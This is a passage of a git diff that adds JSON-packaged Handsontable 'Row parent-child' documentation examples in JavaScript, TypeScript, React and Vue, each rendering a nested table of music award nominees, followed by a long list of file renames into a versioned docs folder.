    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst sourceDataObject = [\n {\n category: 'Best Rock Performance',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n {\n title: 'Something From Nothing',\n artist: 'Foo Fighters',\n label: 'RCA Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Moaning Lisa Smile',\n artist: 'Wolf Alice',\n label: 'RCA Records/Dirty Hit',\n },\n ],\n },\n {\n category: 'Best Metal Performance',\n __children: [\n {\n title: 'Cirice',\n artist: 'Ghost',\n label: 'Loma Vista Recordings',\n },\n {\n title: 'Identity',\n artist: 'August Burns Red',\n label: 'Fearless Records',\n },\n {\n title: '512',\n artist: 'Lamb Of God',\n label: 'Epic Records',\n },\n {\n title: 'Thank You',\n artist: 'Sevendust',\n label: '7Bros Records',\n },\n {\n title: 'Custer',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n {\n category: 'Best Rock Song',\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Hold Back The River',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Lydia',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n ],\n },\n {\n category: 'Best Rock Album',\n __children: [\n {\n title: 'Drones',\n artist: 'Muse',\n label: 'Warner Bros. Records',\n },\n {\n title: 'Chaos And The Calm',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Kintsugi',\n artist: 'Death Cab For Cutie',\n label: 'Atlantic',\n },\n {\n title: 'Mister Asylum',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: '.5: The Gray Chapter',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n];\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: sourceDataObject,\n preventOverflow: 'horizontal',\n rowHeaders: true,\n colHeaders: ['Category', 'Artist', 'Title', 'Album', 'Label'],\n nestedRows: true,\n contextMenu: true,\n bindRowsWithHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/rows/row-parent-child/javascript/example1.js","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__javascript__example1.ts.json new file mode 100644 index 00000000..2395a05f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Rows ▸ Row parent-child · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Album {\n title: string;\n artist: string;\n label: string;\n}\n\ninterface MusicAward {\n category: string;\n artist?: string | null;\n title?: string | null;\n label?: string | null;\n __children: Album[];\n}\n\nconst sourceDataObject: MusicAward[] = [\n {\n category: 'Best Rock Performance',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n {\n title: 'Something From Nothing',\n artist: 'Foo Fighters',\n label: 'RCA Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Moaning Lisa Smile',\n artist: 'Wolf Alice',\n label: 'RCA Records/Dirty Hit',\n },\n ],\n },\n {\n category: 'Best Metal Performance',\n __children: [\n {\n title: 'Cirice',\n artist: 'Ghost',\n label: 'Loma Vista Recordings',\n },\n {\n title: 'Identity',\n artist: 'August Burns Red',\n label: 'Fearless Records',\n },\n {\n title: '512',\n artist: 'Lamb Of God',\n label: 'Epic Records',\n },\n {\n title: 'Thank You',\n artist: 'Sevendust',\n label: '7Bros Records',\n },\n {\n title: 'Custer',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n {\n category: 'Best Rock Song',\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Hold Back The River',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Lydia',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n ],\n },\n {\n category: 'Best Rock Album',\n __children: [\n {\n title: 'Drones',\n artist: 'Muse',\n label: 'Warner Bros. Records',\n },\n {\n title: 'Chaos And The Calm',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Kintsugi',\n artist: 'Death Cab For Cutie',\n label: 'Atlantic',\n },\n {\n title: 'Mister Asylum',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: '.5: The Gray Chapter',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n];\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: sourceDataObject,\n preventOverflow: 'horizontal',\n rowHeaders: true,\n colHeaders: ['Category', 'Artist', 'Title', 'Album', 'Label'],\n nestedRows: true,\n contextMenu: true,\n bindRowsWithHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/rows/row-parent-child/javascript/example1.ts","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__react__example1.tsx.json new file mode 100644 index 00000000..d82fd65e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Rows ▸ Row parent-child · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const sourceDataObject = [\n {\n category: 'Best Rock Performance',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n {\n title: 'Something From Nothing',\n artist: 'Foo Fighters',\n label: 'RCA Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Moaning Lisa Smile',\n artist: 'Wolf Alice',\n label: 'RCA Records/Dirty Hit',\n },\n ],\n },\n {\n category: 'Best Metal Performance',\n __children: [\n {\n title: 'Cirice',\n artist: 'Ghost',\n label: 'Loma Vista Recordings',\n },\n {\n title: 'Identity',\n artist: 'August Burns Red',\n label: 'Fearless Records',\n },\n {\n title: '512',\n artist: 'Lamb Of God',\n label: 'Epic Records',\n },\n {\n title: 'Thank You',\n artist: 'Sevendust',\n label: '7Bros Records',\n },\n {\n title: 'Custer',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n {\n category: 'Best Rock Song',\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Hold Back The River',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Lydia',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n ],\n },\n {\n category: 'Best Rock Album',\n __children: [\n {\n title: 'Drones',\n artist: 'Muse',\n label: 'Warner Bros. Records',\n },\n {\n title: 'Chaos And The Calm',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Kintsugi',\n artist: 'Death Cab For Cutie',\n label: 'Atlantic',\n },\n {\n title: 'Mister Asylum',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: '.5: The Gray Chapter',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/rows/row-parent-child/react/example1.tsx","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__vue__example1.vue.json new file mode 100644 index 00000000..ee62b7ca --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-parent-child__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Rows ▸ Row parent-child · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/rows/row-parent-child/vue/example1.vue","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-prepopulating__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-prepopulating__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-trimming__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-trimming__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__row-virtualization__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__row-virtualization__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-pagination__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__rows__rows-pagination__javascript__example5.ts.json similarity index 100% rename from 